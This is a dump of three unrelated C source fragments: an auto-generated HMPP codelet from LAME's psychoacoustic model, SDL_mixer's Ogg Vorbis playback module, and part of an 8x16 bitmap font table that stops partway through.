#pragma hmpp astex_codelet__17 , args[__astex_addr__k].io=inout &
#pragma hmpp astex_codelet__17 , args[__astex_addr__j].io=inout &
#pragma hmpp astex_codelet__17 , args[__astex_addr__b].io=out &
#pragma hmpp astex_codelet__17 , args[uselongblock].io=inout &
#pragma hmpp astex_codelet__17 , args[pe].io=inout &
#pragma hmpp astex_codelet__17 , args[numlines_l].io=in &
#pragma hmpp astex_codelet__17 , args[numlines_s].io=in &
#pragma hmpp astex_codelet__17 , args[s3ind_s].io=in &
#pragma hmpp astex_codelet__17 , args[s3ind].io=in &
#pragma hmpp astex_codelet__17 , args[bo_s].io=in &
#pragma hmpp astex_codelet__17 , args[bu_s].io=in &
#pragma hmpp astex_codelet__17 , args[bo_l].io=in &
#pragma hmpp astex_codelet__17 , args[bu_l].io=in &
#pragma hmpp astex_codelet__17 , args[w2_s].io=in &
#pragma hmpp astex_codelet__17 , args[w1_s].io=in &
#pragma hmpp astex_codelet__17 , args[w2_l].io=in &
#pragma hmpp astex_codelet__17 , args[w1_l].io=in &
#pragma hmpp astex_codelet__17 , args[thr].io=inout &
#pragma hmpp astex_codelet__17 , args[cb].io=in &
#pragma hmpp astex_codelet__17 , args[eb].io=inout &
#pragma hmpp astex_codelet__17 , args[energy_s].io=in &
#pragma hmpp astex_codelet__17 , args[en].io=inout &
#pragma hmpp astex_codelet__17 , args[thm].io=inout &
#pragma hmpp astex_codelet__17 , args[s3_l].io=in &
#pragma hmpp astex_codelet__17 , args[s3_s].io=in &
#pragma hmpp astex_codelet__17 , args[nb_2].io=inout &
#pragma hmpp astex_codelet__17 , args[nb_1].io=inout &
#pragma hmpp astex_codelet__17 , args[qthr_s].io=in &
#pragma hmpp astex_codelet__17 , args[qthr_l].io=in &
#pragma hmpp astex_codelet__17 , args[minval].io=in &
#pragma hmpp astex_codelet__17 , args[gfp].io=in &
#pragma hmpp astex_codelet__17 , target=C &
#pragma hmpp astex_codelet__17 , version=1.4.0
void astex_codelet__17(lame_global_flags *gfp, FLOAT8 minval[63], FLOAT8 qthr_l[63], FLOAT8 qthr_s[63], FLOAT8 nb_1[4][63], FLOAT8 nb_2[4][63], FLOAT8 s3_s[63 + 1][63 + 1], FLOAT8 s3_l[63 + 1][63 + 1], III_psy_xmin thm[4], III_psy_xmin en[4], FLOAT energy_s[3][129], FLOAT8 eb[63], FLOAT8 cb[63], FLOAT8 thr[63], FLOAT8 w1_l[21], FLOAT8 w2_l[21], FLOAT8 w1_s[12], FLOAT8 w2_s[12], int bu_l[21], int bo_l[21], int bu_s[12], int bo_s[12], int npart_l, int npart_s, int npart_s_orig, int s3ind[63][2], int s3ind_s[63][2], int numlines_s[63], int numlines_l[63], FLOAT8 pe[4], int uselongblock[2], int chn, int __astex_addr__b[1], int __astex_addr__j[1], int __astex_addr__k[1], int __astex_addr__sb[1], int __astex_addr__sblock[1])
{
int sblock;
int sb;
int k = __astex_addr__k[0];
int j = __astex_addr__j[0];
int b;
astex_thread_begin: {
for (b = 0 ; b < npart_l ; b++)
{
FLOAT8 tbb, ecb, ctb;
FLOAT8 temp_1;
ecb = 0;
ctb = 0;
for (k = s3ind[b][0] ; k <= s3ind[b][1] ; k++)
{
ecb += s3_l[b][k] * eb[k];
ctb += s3_l[b][k] * cb[k];
}
tbb = ecb;
if (tbb != 0)
{
tbb = ctb / tbb;
if (tbb <= 0.04875584301)
{
tbb = exp(-0.2302585093 * (18 - 6));
}
else if (tbb > 0.4989003827)
{
tbb = 1;
}
else {
tbb = log(tbb);
tbb = exp(((18 - 6) * (0.2302585093 * 0.299)) + ((18 - 6) * (0.2302585093 * 0.43)) * tbb);
}
}
tbb = ((minval[b]) < (tbb)?(minval[b]):(tbb));
ecb *= tbb;
temp_1 = ((ecb) < (((2 * nb_1[chn][b]) < (16 * nb_2[chn][b])?(2 * nb_1[chn][b]):(16 * nb_2[chn][b])))?(ecb):(((2 * nb_1[chn][b]) < (16 * nb_2[chn][b])?(2 * nb_1[chn][b]):(16 * nb_2[chn][b]))));
thr[b] = ((qthr_l[b]) > (temp_1)?(qthr_l[b]):(temp_1));
nb_2[chn][b] = nb_1[chn][b];
nb_1[chn][b] = ecb;
if (thr[b] < eb[b])
{
pe[chn] -= numlines_l[b] * log(thr[b] / eb[b]);
}
}
if (chn < 2)
{
if (gfp->no_short_blocks)
{
uselongblock[chn] = 1;
}
else {
if (pe[chn] > 3000)
{
uselongblock[chn] = 0;
}
else {
FLOAT mn, mx, ma = 0, mb = 0, mc = 0;
for (j = 129 / 2 ; j < 129 ; j++)
{
ma += energy_s[0][j];
mb += energy_s[1][j];
mc += energy_s[2][j];
}
mn = ((ma) < (mb)?(ma):(mb));
mn = ((mn) < (mc)?(mn):(mc));
mx = ((ma) > (mb)?(ma):(mb));
mx = ((mx) > (mc)?(mx):(mc));
uselongblock[chn] = 1;
if (mx > 30 * mn)
{
uselongblock[chn] = 0;
}
else if ((mx > 10 * mn) && (pe[chn] > 1000))
{
uselongblock[chn] = 0;
}
}
}
}
for (sb = 0 ; sb < 21 ; sb++)
{
FLOAT8 enn = w1_l[sb] * eb[bu_l[sb]] + w2_l[sb] * eb[bo_l[sb]];
FLOAT8 thmm = w1_l[sb] * thr[bu_l[sb]] + w2_l[sb] * thr[bo_l[sb]];
for (b = bu_l[sb] + 1 ; b < bo_l[sb] ; b++)
{
enn += eb[b];
thmm += thr[b];
}
en[chn].l[sb] = enn;
thm[chn].l[sb] = thmm;
}
for (sblock = 0 ; sblock < 3 ; sblock++)
{
j = 0;
for (b = 0 ; b < npart_s_orig ; b++)
{
int i;
FLOAT ecb = energy_s[sblock][j++];
for (i = numlines_s[b] ; i > 0 ; i--)
{
ecb += energy_s[sblock][j++];
}
eb[b] = ecb;
}
for (b = 0 ; b < npart_s ; b++)
{
FLOAT8 ecb = 0;
for (k = s3ind_s[b][0] ; k <= s3ind_s[b][1] ; k++)
{
ecb += s3_s[b][k] * eb[k];
}
thr[b] = ((qthr_s[b]) > (ecb)?(qthr_s[b]):(ecb));
}
for (sb = 0 ; sb < 12 ; sb++)
{
FLOAT8 enn = w1_s[sb] * eb[bu_s[sb]] + w2_s[sb] * eb[bo_s[sb]];
FLOAT8 thmm = w1_s[sb] * thr[bu_s[sb]] + w2_s[sb] * thr[bo_s[sb]];
for (b = bu_s[sb] + 1 ; b < bo_s[sb] ; b++)
{
enn += eb[b];
thmm += thr[b];
}
en[chn].s[sb][sblock] = enn;
thm[chn].s[sb][sblock] = thmm;
}
}
}
astex_thread_end:;
__astex_addr__b[0] = b;
__astex_addr__j[0] = j;
__astex_addr__k[0] = k;
__astex_addr__sb[0] = sb;
__astex_addr__sblock[0] = sblock;
}
|
the_stack_data/212643784.c | /*
SDL_mixer: An audio mixer library based on the SDL library
Copyright (C) 1997-2012 Sam Lantinga <[email protected]>
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
*/
/* $Id$ */
#ifdef OGG_MUSIC
/* This file supports Ogg Vorbis music streams */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "SDL_mixer.h"
#include "dynamic_ogg.h"
#include "music_ogg.h"
/* This is the format of the audio mixer data */
static SDL_AudioSpec mixer;
/* Initialize the Ogg Vorbis player, with the given mixer settings
This function returns 0, or -1 if there was an error.
*/
int OGG_init(SDL_AudioSpec *mixerfmt)
{
mixer = *mixerfmt;
return(0);
}
/* Set the volume for an OGG stream */
void OGG_setvolume(OGG_music *music, int volume)
{
music->volume = volume;
}
static size_t sdl_read_func(void *ptr, size_t size, size_t nmemb, void *datasource)
{
return SDL_RWread((SDL_RWops*)datasource, ptr, size, nmemb);
}
static int sdl_seek_func(void *datasource, ogg_int64_t offset, int whence)
{
return SDL_RWseek((SDL_RWops*)datasource, (int)offset, whence);
}
static long sdl_tell_func(void *datasource)
{
return SDL_RWtell((SDL_RWops*)datasource);
}
/* Load an OGG stream from an SDL_RWops object */
OGG_music *OGG_new_RW(SDL_RWops *rw, int freerw)
{
OGG_music *music;
ov_callbacks callbacks;
if ( !Mix_Init(MIX_INIT_OGG) ) {
if ( freerw ) {
SDL_RWclose(rw);
}
return(NULL);
}
SDL_memset(&callbacks, 0, sizeof(callbacks));
callbacks.read_func = sdl_read_func;
callbacks.seek_func = sdl_seek_func;
callbacks.tell_func = sdl_tell_func;
music = (OGG_music *)SDL_malloc(sizeof *music);
if ( music ) {
/* Initialize the music structure */
memset(music, 0, (sizeof *music));
music->rw = rw;
music->freerw = freerw;
OGG_stop(music);
OGG_setvolume(music, MIX_MAX_VOLUME);
music->section = -1;
if ( vorbis.ov_open_callbacks(rw, &music->vf, NULL, 0, callbacks) < 0 ) {
SDL_free(music);
if ( freerw ) {
SDL_RWclose(rw);
}
SDL_SetError("Not an Ogg Vorbis audio stream");
return(NULL);
}
} else {
if ( freerw ) {
SDL_RWclose(rw);
}
SDL_OutOfMemory();
return(NULL);
}
return(music);
}
/* Start playback of a given OGG stream */
void OGG_play(OGG_music *music)
{
music->playing = 1;
}
/* Return non-zero if a stream is currently playing */
int OGG_playing(OGG_music *music)
{
return(music->playing);
}
/* Read some Ogg stream data and convert it for output */
static void OGG_getsome(OGG_music *music)
{
int section;
int len;
char data[4096];
SDL_AudioCVT *cvt;
#ifdef OGG_USE_TREMOR
len = vorbis.ov_read(&music->vf, data, sizeof(data), §ion);
#else
len = vorbis.ov_read(&music->vf, data, sizeof(data), 0, 2, 1, §ion);
#endif
if ( len <= 0 ) {
if ( len == 0 ) {
music->playing = 0;
}
return;
}
cvt = &music->cvt;
if ( section != music->section ) {
vorbis_info *vi;
vi = vorbis.ov_info(&music->vf, -1);
SDL_BuildAudioCVT(cvt, AUDIO_S16, vi->channels, vi->rate,
mixer.format,mixer.channels,mixer.freq);
if ( cvt->buf ) {
SDL_free(cvt->buf);
}
cvt->buf = (Uint8 *)SDL_malloc(sizeof(data)*cvt->len_mult);
music->section = section;
}
if ( cvt->buf ) {
memcpy(cvt->buf, data, len);
if ( cvt->needed ) {
cvt->len = len;
SDL_ConvertAudio(cvt);
} else {
cvt->len_cvt = len;
}
music->len_available = music->cvt.len_cvt;
music->snd_available = music->cvt.buf;
} else {
SDL_SetError("Out of memory");
music->playing = 0;
}
}
/* Play some of a stream previously started with OGG_play() */
int OGG_playAudio(OGG_music *music, Uint8 *snd, int len)
{
int mixable;
while ( (len > 0) && music->playing ) {
if ( ! music->len_available ) {
OGG_getsome(music);
}
mixable = len;
if ( mixable > music->len_available ) {
mixable = music->len_available;
}
if ( music->volume == MIX_MAX_VOLUME ) {
memcpy(snd, music->snd_available, mixable);
} else {
SDL_MixAudio(snd, music->snd_available, mixable,
music->volume);
}
music->len_available -= mixable;
music->snd_available += mixable;
len -= mixable;
snd += mixable;
}
return len;
}
/* Stop playback of a stream previously started with OGG_play() */
void OGG_stop(OGG_music *music)
{
music->playing = 0;
}
/* Close the given OGG stream */
void OGG_delete(OGG_music *music)
{
if ( music ) {
if ( music->cvt.buf ) {
SDL_free(music->cvt.buf);
}
if ( music->freerw ) {
SDL_RWclose(music->rw);
}
vorbis.ov_clear(&music->vf);
SDL_free(music);
}
}
/* Jump (seek) to a given position (time is in seconds) */
void OGG_jump_to_time(OGG_music *music, double time)
{
#ifdef OGG_USE_TREMOR
vorbis.ov_time_seek( &music->vf, (ogg_int64_t)time );
#else
vorbis.ov_time_seek( &music->vf, time );
#endif
}
#endif /* OGG_MUSIC */
|
the_stack_data/167331874.c | short font8x16[128*16] = {
/* 0 0x00 '^@' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 1 0x01 '^A' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x7e, /* 01111110 */
0x81, /* 10000001 */
0xa5, /* 10100101 */
0x81, /* 10000001 */
0x81, /* 10000001 */
0xbd, /* 10111101 */
0x99, /* 10011001 */
0x81, /* 10000001 */
0x81, /* 10000001 */
0x7e, /* 01111110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 2 0x02 '^B' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x7e, /* 01111110 */
0xff, /* 11111111 */
0xdb, /* 11011011 */
0xff, /* 11111111 */
0xff, /* 11111111 */
0xc3, /* 11000011 */
0xe7, /* 11100111 */
0xff, /* 11111111 */
0xff, /* 11111111 */
0x7e, /* 01111110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 3 0x03 '^C' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x6c, /* 01101100 */
0xfe, /* 11111110 */
0xfe, /* 11111110 */
0xfe, /* 11111110 */
0xfe, /* 11111110 */
0x7c, /* 01111100 */
0x38, /* 00111000 */
0x10, /* 00010000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 4 0x04 '^D' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x10, /* 00010000 */
0x38, /* 00111000 */
0x7c, /* 01111100 */
0xfe, /* 11111110 */
0x7c, /* 01111100 */
0x38, /* 00111000 */
0x10, /* 00010000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 5 0x05 '^E' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x3c, /* 00111100 */
0x3c, /* 00111100 */
0xe7, /* 11100111 */
0xe7, /* 11100111 */
0xe7, /* 11100111 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x3c, /* 00111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 6 0x06 '^F' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x3c, /* 00111100 */
0x7e, /* 01111110 */
0xff, /* 11111111 */
0xff, /* 11111111 */
0x7e, /* 01111110 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x3c, /* 00111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 7 0x07 '^G' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x3c, /* 00111100 */
0x3c, /* 00111100 */
0x18, /* 00011000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 8 0x08 '^H' */
0xff, /* 11111111 */
0xff, /* 11111111 */
0xff, /* 11111111 */
0xff, /* 11111111 */
0xff, /* 11111111 */
0xff, /* 11111111 */
0xe7, /* 11100111 */
0xc3, /* 11000011 */
0xc3, /* 11000011 */
0xe7, /* 11100111 */
0xff, /* 11111111 */
0xff, /* 11111111 */
0xff, /* 11111111 */
0xff, /* 11111111 */
0xff, /* 11111111 */
0xff, /* 11111111 */
/* 9 0x09 '^I' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x3c, /* 00111100 */
0x66, /* 01100110 */
0x42, /* 01000010 */
0x42, /* 01000010 */
0x66, /* 01100110 */
0x3c, /* 00111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 10 0x0a '^J' */
0xff, /* 11111111 */
0xff, /* 11111111 */
0xff, /* 11111111 */
0xff, /* 11111111 */
0xff, /* 11111111 */
0xc3, /* 11000011 */
0x99, /* 10011001 */
0xbd, /* 10111101 */
0xbd, /* 10111101 */
0x99, /* 10011001 */
0xc3, /* 11000011 */
0xff, /* 11111111 */
0xff, /* 11111111 */
0xff, /* 11111111 */
0xff, /* 11111111 */
0xff, /* 11111111 */
/* 11 0x0b '^K' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x1e, /* 00011110 */
0x0e, /* 00001110 */
0x1a, /* 00011010 */
0x32, /* 00110010 */
0x78, /* 01111000 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0x78, /* 01111000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 12 0x0c '^L' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x3c, /* 00111100 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x3c, /* 00111100 */
0x18, /* 00011000 */
0x7e, /* 01111110 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 13 0x0d '^M' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x3f, /* 00111111 */
0x33, /* 00110011 */
0x3f, /* 00111111 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x70, /* 01110000 */
0xf0, /* 11110000 */
0xe0, /* 11100000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 14 0x0e '^N' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x7f, /* 01111111 */
0x63, /* 01100011 */
0x7f, /* 01111111 */
0x63, /* 01100011 */
0x63, /* 01100011 */
0x63, /* 01100011 */
0x63, /* 01100011 */
0x67, /* 01100111 */
0xe7, /* 11100111 */
0xe6, /* 11100110 */
0xc0, /* 11000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 15 0x0f '^O' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0xdb, /* 11011011 */
0x3c, /* 00111100 */
0xe7, /* 11100111 */
0x3c, /* 00111100 */
0xdb, /* 11011011 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 16 0x10 '^P' */
0x00, /* 00000000 */
0x80, /* 10000000 */
0xc0, /* 11000000 */
0xe0, /* 11100000 */
0xf0, /* 11110000 */
0xf8, /* 11111000 */
0xfe, /* 11111110 */
0xf8, /* 11111000 */
0xf0, /* 11110000 */
0xe0, /* 11100000 */
0xc0, /* 11000000 */
0x80, /* 10000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 17 0x11 '^Q' */
0x00, /* 00000000 */
0x02, /* 00000010 */
0x06, /* 00000110 */
0x0e, /* 00001110 */
0x1e, /* 00011110 */
0x3e, /* 00111110 */
0xfe, /* 11111110 */
0x3e, /* 00111110 */
0x1e, /* 00011110 */
0x0e, /* 00001110 */
0x06, /* 00000110 */
0x02, /* 00000010 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 18 0x12 '^R' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x3c, /* 00111100 */
0x7e, /* 01111110 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x7e, /* 01111110 */
0x3c, /* 00111100 */
0x18, /* 00011000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 19 0x13 '^S' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x00, /* 00000000 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 20 0x14 '^T' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x7f, /* 01111111 */
0xdb, /* 11011011 */
0xdb, /* 11011011 */
0xdb, /* 11011011 */
0x7b, /* 01111011 */
0x1b, /* 00011011 */
0x1b, /* 00011011 */
0x1b, /* 00011011 */
0x1b, /* 00011011 */
0x1b, /* 00011011 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 21 0x15 '^U' */
0x00, /* 00000000 */
0x7c, /* 01111100 */
0xc6, /* 11000110 */
0x60, /* 01100000 */
0x38, /* 00111000 */
0x6c, /* 01101100 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x6c, /* 01101100 */
0x38, /* 00111000 */
0x0c, /* 00001100 */
0xc6, /* 11000110 */
0x7c, /* 01111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 22 0x16 '^V' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xfe, /* 11111110 */
0xfe, /* 11111110 */
0xfe, /* 11111110 */
0xfe, /* 11111110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 23 0x17 '^W' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x3c, /* 00111100 */
0x7e, /* 01111110 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x7e, /* 01111110 */
0x3c, /* 00111100 */
0x18, /* 00011000 */
0x7e, /* 01111110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 24 0x18 '^X' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x3c, /* 00111100 */
0x7e, /* 01111110 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 25 0x19 '^Y' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x7e, /* 01111110 */
0x3c, /* 00111100 */
0x18, /* 00011000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 26 0x1a '^Z' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x0c, /* 00001100 */
0xfe, /* 11111110 */
0x0c, /* 00001100 */
0x18, /* 00011000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 27 0x1b '^[' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x30, /* 00110000 */
0x60, /* 01100000 */
0xfe, /* 11111110 */
0x60, /* 01100000 */
0x30, /* 00110000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 28 0x1c '^\' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xc0, /* 11000000 */
0xc0, /* 11000000 */
0xc0, /* 11000000 */
0xfe, /* 11111110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 29 0x1d '^]' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x28, /* 00101000 */
0x6c, /* 01101100 */
0xfe, /* 11111110 */
0x6c, /* 01101100 */
0x28, /* 00101000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 30 0x1e '^^' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x10, /* 00010000 */
0x38, /* 00111000 */
0x38, /* 00111000 */
0x7c, /* 01111100 */
0x7c, /* 01111100 */
0xfe, /* 11111110 */
0xfe, /* 11111110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 31 0x1f '^_' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xfe, /* 11111110 */
0xfe, /* 11111110 */
0x7c, /* 01111100 */
0x7c, /* 01111100 */
0x38, /* 00111000 */
0x38, /* 00111000 */
0x10, /* 00010000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 32 0x20 ' ' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 33 0x21 '!' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x3c, /* 00111100 */
0x3c, /* 00111100 */
0x3c, /* 00111100 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 34 0x22 '"' */
0x00, /* 00000000 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x24, /* 00100100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 35 0x23 '#' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x6c, /* 01101100 */
0x6c, /* 01101100 */
0xfe, /* 11111110 */
0x6c, /* 01101100 */
0x6c, /* 01101100 */
0x6c, /* 01101100 */
0xfe, /* 11111110 */
0x6c, /* 01101100 */
0x6c, /* 01101100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 36 0x24 '$' */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x7c, /* 01111100 */
0xc6, /* 11000110 */
0xc2, /* 11000010 */
0xc0, /* 11000000 */
0x7c, /* 01111100 */
0x06, /* 00000110 */
0x06, /* 00000110 */
0x86, /* 10000110 */
0xc6, /* 11000110 */
0x7c, /* 01111100 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 37 0x25 '%' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xc2, /* 11000010 */
0xc6, /* 11000110 */
0x0c, /* 00001100 */
0x18, /* 00011000 */
0x30, /* 00110000 */
0x60, /* 01100000 */
0xc6, /* 11000110 */
0x86, /* 10000110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 38 0x26 '&' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x38, /* 00111000 */
0x6c, /* 01101100 */
0x6c, /* 01101100 */
0x38, /* 00111000 */
0x76, /* 01110110 */
0xdc, /* 11011100 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0x76, /* 01110110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 39 0x27 ''' */
0x00, /* 00000000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x60, /* 01100000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
